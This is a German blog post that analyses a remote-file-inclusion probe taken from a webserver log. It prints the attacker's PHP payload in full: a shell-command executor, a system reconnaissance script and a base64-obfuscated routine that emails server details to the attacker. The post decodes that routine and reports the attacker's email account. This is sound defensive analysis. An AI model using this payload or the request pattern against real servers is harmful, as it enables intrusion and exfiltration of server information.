Schaut man hin und wieder durch die Logdateien des Webservers sieht man allerlei merkwürdige und meist auch eindeutig verdächtigen HTTP-Requests. Oftmals wird einfach nur nach bestimmten Dateien von diversen Applikationen gesucht die in älteren Versionen verschiedenste Sicherheitslücken aufweisen. Ab und zu wird auch versucht entfernte PHP Scripte auszuführen, in der Hoffnung das der Webserver mit den installierten Anwendungen fehlerhaft konfiguriert beziehungsweise nicht ausreichend abgesichert ist.
Heute hatte ich mir mal den Spaß gemacht einen solchen “Angriff” genauer anzuschauen. Dabei geht es im vorliegenden Fall im einen sehr einfachen Versuch, so daß jetzt hier keine wirklichen Überraschungen zum Vorschein kommen. Solche Versuche gibt es weltweit sicherlich im sechsstelligen Bereich pro Tag.
Der HTTP-Request
Eine typische Anfrage in dieser Hinsicht ist zum Beispiel die folgende:
207.182.137.218 – - [03/May/2009:22:57:48 +0200] “GET /?_SERVER[DOCUMENT_ROOT]=http://sito.blackdrag0n.net/Cartoon/idnew.txt? HTTP/1.1″ 200 43066 “-” “libwww-perl/5.820″
Was sehen wir hier? Von der IP 207.182.137.218 wird versucht durch eine GET-Anfrage und Umschreiben der DOCUMENT_ROOT Variable die Datei idnew.txt zu lesen und unter den Rechten des Webservers auszuführen. Anhand der Angabe libwww-perl sieht man, dass die Anfrage durch eine Perl Bibliothek erfolgt und nicht durch einen Browser, also scheint hier ein Script zu werkeln.
Die idnew.txt und ihr Inhalt
Der Inhalt der idnew.txt besteht aus PHP-Code, der teils mit MIME base64 kodiert ist. Hier der PHP-Code aus der Datei:
<?php
//Coracore Response
$pwd1 = @getcwd();
$un = @php_uname();
$os = @PHP_OS;
$id1 = ex(”id”);if (empty($id1)) {$id1 = @get_current_user();}
$sof1 = @getenv(”SERVER_SOFTWARE”);
$php1 = @phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = @gethostbyname($SERVER_ADDR);
$free1= @diskfreespace($pwd1);
$all1= disk_total_space($pwd1);
$used = ConvertBytes($all1-$free1);
$free = ConvertBytes(@diskfreespace($pwd1));if (!$free) {$free = 0;}
$all = ConvertBytes(@disk_total_space($pwd1));if (!$all) {$all = 0;}
if (@is_writable($pwd1)) {$perm = “[W]“;} else {$perm = “[R]“;}
if (@ini_get(”safe_mode”) or strtolower(@ini_get(”safe_mode”)) == “on”) {$sf = “ON”;} else {$sf = “OFF”;}
echo “Coracore”.$sf.”<br>”;
echo “uname -a: $un<br>”;
echo “os: $os<br>”;
echo “id: $id1<br>”;
echo “pwd: $pwd1<br>”;
echo “php: $php1<br>”;
echo “software: $sof1<br>”;
echo “srvip: $ip1<br>”;
echo “srvname: $name1<br>”;
echo “free: $free<br>”;
echo “used: $used<br>”;
echo “total: $all $perm<br>”;
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) { return sprintf(”%d b”, $number); }
if($len >= 4 && $len <=6) { return sprintf(”%0.2f Kb”, $number/1024); }
if($len >= 7 && $len <=9) { return sprintf(”%0.2f Mb”, $number/1024/1024); }
return sprintf(”%0.2f Gb”, $number/1024/1024/1024);
}
function ex($cfe) {
$res = ”;
if (!empty($cfe)) {
if(function_exists(’exec’)) {
@exec($cfe,$res);
$res = join(”\n”,$res);
} elseif(function_exists(’shell_exec’)) {
$res = @shell_exec($cfe);
} elseif(function_exists(’system’)) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists(’passthru’)) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,”r”))) {
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { $res = “NULL”; }
}
return $res;
}
?>
<?php
$lmge = “JGNyZWF0b3I9YmFzZTY0X2RlY29kZSgiWm5Jek0zTm9NM
nhzUUdkdFlXbHNMbU52YlE9PSIpOw0KKCRzYWZlX21vZG
UpPygkc2FmZXo9Ik9OIik6KCRzYWZlej0iT0ZGX0hFSEUiKT
sNCiRiYXNlPSJodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1
NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107IA0KJG5h
bWUgPSBwaHBfdW5hbWUoKTsgJGlwID0gZ2V0ZW52KCJS
RU1PVEVfQUREUiIpOyAkaXAyID0gZ2V0aG9zdGJ5YWRkcig
kX1NFUlZFUltSRU1PVEVfQUREUl0pOyAkc3ViaiA9ICRfU0V
SVkVSWydIVFRQX0hPU1QnXTsgDQokbXNnID0gIlxuQkFTR
TogJGJhc2VcbnVuYW1lIGE6ICRuYW1lXG5CeXBhc3M6ICRieX
Bhc3NlclxuSVA6ICRpcFxuSG9zdDogJGlwMiAkcHdkcyI7DQok
ZnJvbSA9IkZyb206ICIuJHdyaXQuIl9fXz0iLiRzYWZlei4iPHRvb
2xAIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIj4iOw0KbWFpbC
ggJGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZnJvbSk7″; eval(base64_decode($lmge));
exit;
?>
Wie man sieht versucht das Script zuerst einige Daten über das System zu sammeln. Dazu gehören Betriebssytem, Benutzer-ID, Speicherplatz, IP des Servers, PHP-Version, Server-Software und ob man Systemzugriff hat.
Kodierter Code und der Urheber
Interessant ist aber vor allem der letzte Teil des Scripts. Zu sehen ist eine Zeichenfolge die mit MIME base64 kodiert ist und ausgeführt wird. Dekodiert man diesen String erhält man folgenden Klartext-Code:
$creator=base64_decode(”ZnIzM3NoM2xsQGdtYWlsLmNvbQ==”);
($safe_mode)?($safez=”ON”):($safez=”OFF_HEHE”);
$base=”http://”.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$name = php_uname(); $ip = getenv(”REMOTE_ADDR”); $ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]); $subj = $_SERVER['HTTP_HOST'];
$msg = “\nBASE: $base\nuname a: $name\nBypass: $bypasser\nIP: $ip\nHost: $ip2 $pwds”;
$from =”From: “.$writ.”___=”.$safez.”<tool@”.$_SERVER['HTTP_HOST'].”>”;
mail( $creator, $subj, $msg, $from);
Hier sieht man das eine Email mit IP, Hostname usw. an eine Email geschickt werden soll. Hierdurch erhält der Angreifer bei erfolgreichen Scriptausführung eine Benachrichtigungsemail mit Daten zum Server und der URL die für diesen Exploit anfällig ist. Die Empfänger-Email ist noch einmal mit base64 kodiert:
$creator=base64_decode(”ZnIzM3NoM2xsQGdtYWlsLmNvbQ==”);
Nach Dekodierung ist diese nun lesbar und führt zu dem Gmail-Account: fr33sh3ll@gmail.com
Ich habe Google hierzu einfahc mal informiert und warte mal ob eine Antwort kommt oder ob dieser Account nicht schon längst abgestellt wurde.


Letzte Kommentare